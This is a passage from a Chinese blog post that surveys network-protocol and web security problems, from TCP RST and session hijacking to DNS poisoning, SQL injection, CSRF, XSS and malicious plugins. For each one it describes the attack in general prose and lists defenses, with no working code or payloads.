    • 安全漏洞: 利用 TCP 协议的 RST (重置) 标志,攻击者可以发送伪造的 TCP RST 数据包,强制断开已建立的 TCP 连接。

    • 攻击手段: 攻击者可以断开用户与服务器的连接,阻止用户访问服务。

    • 防御手段:

      由于 RST 攻击需要攻击者能够嗅探到 TCP 通信并预测序列号,因此防御手段主要集中在加强网络安全和加密通信:

      • 加密通信: 使用加密协议 (例如 HTTPS, SSH) 对敏感数据进行加密,即使数据包被捕获,攻击者也无法获取序列号等信息。

      • 网络分段: 将网络划分为多个子网,限制攻击者嗅探到的数据量。

      • 入侵检测系统: 部署入侵检测系统 (IDS) 监测网络流量,识别并报警可疑的 RST 数据包。

  • TCP 会话劫持 (TCP Session Hijacking):

    • 安全漏洞: 攻击者在已建立的 TCP 连接中注入恶意数据。

    • 攻击手段: 攻击者可以劫持用户的 Telnet 会话,执行恶意命令,或者窃取敏感信息。

    • 防御手段:

      • 加密通信: 使用加密协议 (例如 HTTPS, SSH) 对敏感数据进行加密,防止攻击者嗅探到序列号等信息。

      • 随机化序列号: 使用随机的初始序列号,使攻击者难以预测序列号。

      • 使用身份验证机制: 在应用层使用身份验证机制,例如用户名和密码,防止攻击者劫持会话。

4. 应用层安全问题

  • DNS 缓存中毒 (DNS Cache Poisoning):

    • 安全漏洞: 攻击者将伪造的 DNS 记录注入到 DNS 缓存中,将用户导向恶意网站。

    • 攻击手段: 攻击者可以将 www.example.com 的 IP 地址解析到攻击者控制的服务器,当用户访问 www.example.com 时,就会被导向恶意网站。

    • 防御手段:

      • DNSSEC: 使用 DNSSEC (DNS 安全扩展) 对 DNS 数据进行数字签名,确保 DNS 数据的真实性和完整性。

      • 使用 TLS/SSL: 使用 TLS/SSL 协议对 DNS 查询和响应进行加密,防止攻击者篡改 DNS 数据。

      • 绑定 DNS 服务器: 将域名与特定的 DNS 服务器绑定,防止攻击者将伪造的 DNS 记录注入到其他 DNS 服务器的缓存中。

  • SQL 注入 (SQL Injection):

    • 安全漏洞: 攻击者利用 Web 应用程序的漏洞,将恶意 SQL 代码注入到数据库查询语句中。

    • 攻击手段: 攻击者可以在用户登录表单中输入恶意 SQL 代码,获取数据库中的敏感信息,或者修改数据库中的数据。

    • 防御手段:

      • 输入验证: 对用户输入进行验证,过滤掉可能包含恶意 SQL 代码的字符。

      • 预编译语句 (Prepared Statement): 使用预编译语句,将 SQL 代码与数据分离,防止攻击者注入恶意 SQL 代码。

      • 数据库访问控制: 限制数据库用户的权限,只允许用户访问必要的数据库资源。

  • 跨站请求伪造 (CSRF):

    • 安全漏洞: 攻击者诱骗用户在已经登录的目标网站上执行恶意操作。

    • 攻击手段: 攻击者可以发送一个链接,诱骗用户在不知情的情况下修改密码或转账。

    • 防御手段:

      • 使用 Referer 头部信息: 服务器可以检查 Referer 头部信息,判断请求是否来自合法的网站。

      • 使用 SameSite Cookie 属性: 设置 SameSite Cookie 属性,限制 Cookie 只能在同站请求中发送,防止跨站请求伪造攻击。

      • 使用随机令牌 (Secret Token): 在表单中添加随机令牌,服务器验证令牌的有效性,防止攻击者伪造请求。

  • 跨站脚本执行 (XSS):

    • 安全漏洞: 攻击者将恶意脚本注入到网页中,当用户访问网页时,恶意脚本就会在用户的浏览器中执行。

    • 攻击手段: 攻击者可以在论坛帖子中插入恶意脚本,窃取用户的 Cookie 信息,或者修改网页内容。

    • 防御手段:

      • 输出编码: 对用户输入进行编码,将特殊字符转换为 HTML 实体,防止攻击者注入恶意脚本。

      • 内容安全策略 (CSP): 使用 CSP 限制网页可以加载的资源,防止攻击者注入恶意脚本。

      • 使用 HTTPOnly Cookie 属性: 设置 HTTPOnly Cookie 属性,禁止 JavaScript 脚本访问 Cookie,防止攻击者窃取 Cookie。

5. 插件安全问题

  • 恶意插件 (Malicious Plugin):

    • 安全漏洞: 攻击者开发恶意插件,利用插件的权限窃取用户信息或进行其他恶意操作。

    • 攻击手段: 攻击者可以开发一个浏览器插件,窃取用户的浏览历史记录或密码,或者劫持用户的浏览器。

    • 防御手段:

      • 从官方应用商店下载插件: 只从官方应用商店下载插件,例如 Chrome 网上应用店、Firefox 附加组件网站等。

      • 仔细阅读插件权限说明: 在安装插件之前,仔细阅读插件权限说明,了解插件需要哪些权限,避免安装需要过多权限的插件。

      • 查看用户评价和评分: 在安装插件之前,查看其他用户的评价和评分,了解插件的安全性。

      • 定期更新插件: 定期更新插件,修复已知的安全漏洞。

      • 使用安全软件: 使用安全软件扫描和拦截恶意插件。

总结

网络协议的安全漏洞和攻击手段多种多样,攻击者可以利用这些漏洞和手段对网络进行攻击,窃取信息、破坏数据、控制系统等。为了保护网络安全,需要采取多层次的防御措施,包括:

  • 加强安全意识: 提高用户和管理员的安全意识,了解常见的网络攻击手段和防御方法。

  • 使用安全协议: 使用 HTTPS、SSH 等安全协议对敏感数据进行加密,防止攻击者窃取信息。

  • 升级系统和软件: 及时更新系统和软件,修复已知的安全漏洞。

  • 过滤用户输入: 对用户输入进行验证和过滤,防止攻击者注入恶意代码。

  • 进行安全测试: 定期进行安全测试,发现和修复系统和应用程序的安全漏洞。

  • 部署安全设备: 部署防火墙、入侵检测系统等安全设备,监测网络流量,识别并拦截攻击行为。

  • 制定安全策略: 制定完善的安全策略,规范用户和管理员的行为,降低安全风险。

请注意: 以上内容仅基于您提供的资料进行总结和整理,可能无法涵盖所有常见的网络协议安全漏洞和攻击手段,您可能需要根据实际情况进行进一步的研究和学习。

本文作者:EverlastingSun

本文链接:https://www.cnblogs.com/FROFGYu/p/18550148

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   EverlastingSun  阅读(26)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起